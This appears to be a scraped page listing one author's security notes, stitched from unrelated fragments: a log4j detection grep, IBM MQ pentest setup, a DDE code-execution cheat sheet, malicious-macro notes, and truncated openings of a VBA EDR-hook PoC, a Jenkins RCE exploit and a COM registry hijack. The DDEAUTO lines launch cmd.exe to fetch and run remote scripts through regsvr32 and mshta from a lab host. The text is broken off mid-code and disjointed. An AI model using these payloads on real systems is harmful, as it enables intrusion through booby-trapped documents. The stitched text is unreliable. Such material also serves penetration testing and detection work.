David digital-shokunin

Deobfuscating / Unminifying Obfuscated Web App / JavaScript Code

log4j RCE Exploitation Detection

You can use these commands and rules to search for exploitation attempts against log4j RCE vulnerability CVE-2021-44228

Grep / Zgrep

This command searches for exploitation attempts in uncompressed files in folder /var/log and all sub folders

sudo egrep -I -i -r '\$(\{|%7B)jndi:(ldap[s]?|rmi|dns|nis|iiop|corba|nds|http):/[^\n]+' /var/log

Practical IBM MQ Penetration Testing notes

In order to interact with IBM MQ in any way, we need to install IBM MQ Client libraries, available only on IBM website. Account registration will be required to get hands on them.

Step 1: Installing prerequisities

Pre-requisites: IBM MQ Client

Download the IBM MQ V9.0.0.4 LTS Clients - the file should be named: 9.0.0.4-IBM-MQC-LinuxX64.tar.gz (9.0.0.4 Client install image for IBM MQ on Linux X86-64) - size: 397MB
Extract it to whatever directory.

Dockerized IBM MQ with TLS enabled

Setting up the Server-keyStore and certificate

Run a container using latest IBM-MQ image

docker volume create qmdata
docker pull ibmcom/mq:latest
docker run -ti --entrypoint=/bin/bash --volume qmdata:/mnt/mqm ibmcom/mq:latest

Macro-Less Code Execution in MS Office via DDE (Dynamic Data Exchange) techniques Cheat-Sheet

Using regsvr32 *.sct files technique:

DDEAUTO C:\\Programs\\Microsoft\\Office\\MSword.exe\\..\\..\\..\\..\\Windows\\System32\\cmd.exe "/c Microsoft Office Application data   || regsvr32 /s /n /u /i:http://192.168.56.101/empire2.sct scrobj.dll"

Using HTA files technique:

DDEAUTO C:\\Programs\\Microsoft\\Office\\MSword.exe\\..\\..\\..\\..\\Windows\\System32\\cmd.exe "/c Microsoft Office Application data || mshta http://192.168.56.101/poc.hta"

This is a note for myself describing various Visual Basic macros construction strategies that could be used for remote code execution via malicious Document vector. Nothing new or fancy here, just a list of techniques, tools and scripts collected in one place for a quick glimpse of an eye before setting a payload.

All of the below examples had been generated for using as a remote address: 192.168.56.101.

List:

Page substiution macro for luring user to click Enable Content
The Unicorn Powershell based payload

	Private Declare PtrSafe Function GetModuleHandleA Lib "KERNEL32" (ByVal lpModuleName As String) As LongPtr
	Private Declare PtrSafe Function GetProcAddress Lib "KERNEL32" (ByVal hModule As LongPtr, ByVal lpProcName As String) As LongPtr
	Private Declare PtrSafe Sub CopyMemory Lib "KERNEL32" Alias "RtlMoveMemory" (ByVal Destination As LongPtr, ByVal Source As LongPtr, ByVal Length As Long)

	'VBA Macro that detects hooks made by EDRs
	'PoC By Juan Manuel Fernandez (@TheXC3LL) based on a post from SpecterOps (https://posts.specterops.io/adventures-in-dynamic-evasion-1fe0bac57aa)


	Public Function checkHook(ByVal target As String, hModule As LongPtr) As Integer
	Dim address As LongPtr

	#!/usr/bin/python

	# Author: Adam Jordan
	# Date: 2019-02-15
	# Repository: https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc
	# PoC for: SECURITY-1266 / CVE-2019-1003000 (Script Security), CVE-2019-1003001 (Pipeline: Groovy), CVE-2019-1003002 (Pipeline: Declarative)


	import argparse
	import jenkins

	Windows Registry Editor Version 5.00
	[HKEY_CURRENT_USER\SOFTWARE\Classes\AtomicRedTeam.1.00]
	@="AtomicRedTeam"
	[HKEY_CURRENT_USER\SOFTWARE\Classes\AtomicRedTeam.1.00\CLSID]
	@="{00000001-0000-0000-0000-0000FEEDACDC}"
	[HKEY_CURRENT_USER\SOFTWARE\Classes\AtomicRedTeam]
	@="AtomicRedTeam"
	[HKEY_CURRENT_USER\SOFTWARE\Classes\AtomicRedTeam\CLSID]
	@="{00000001-0000-0000-0000-0000FEEDACDC}"
	[HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}]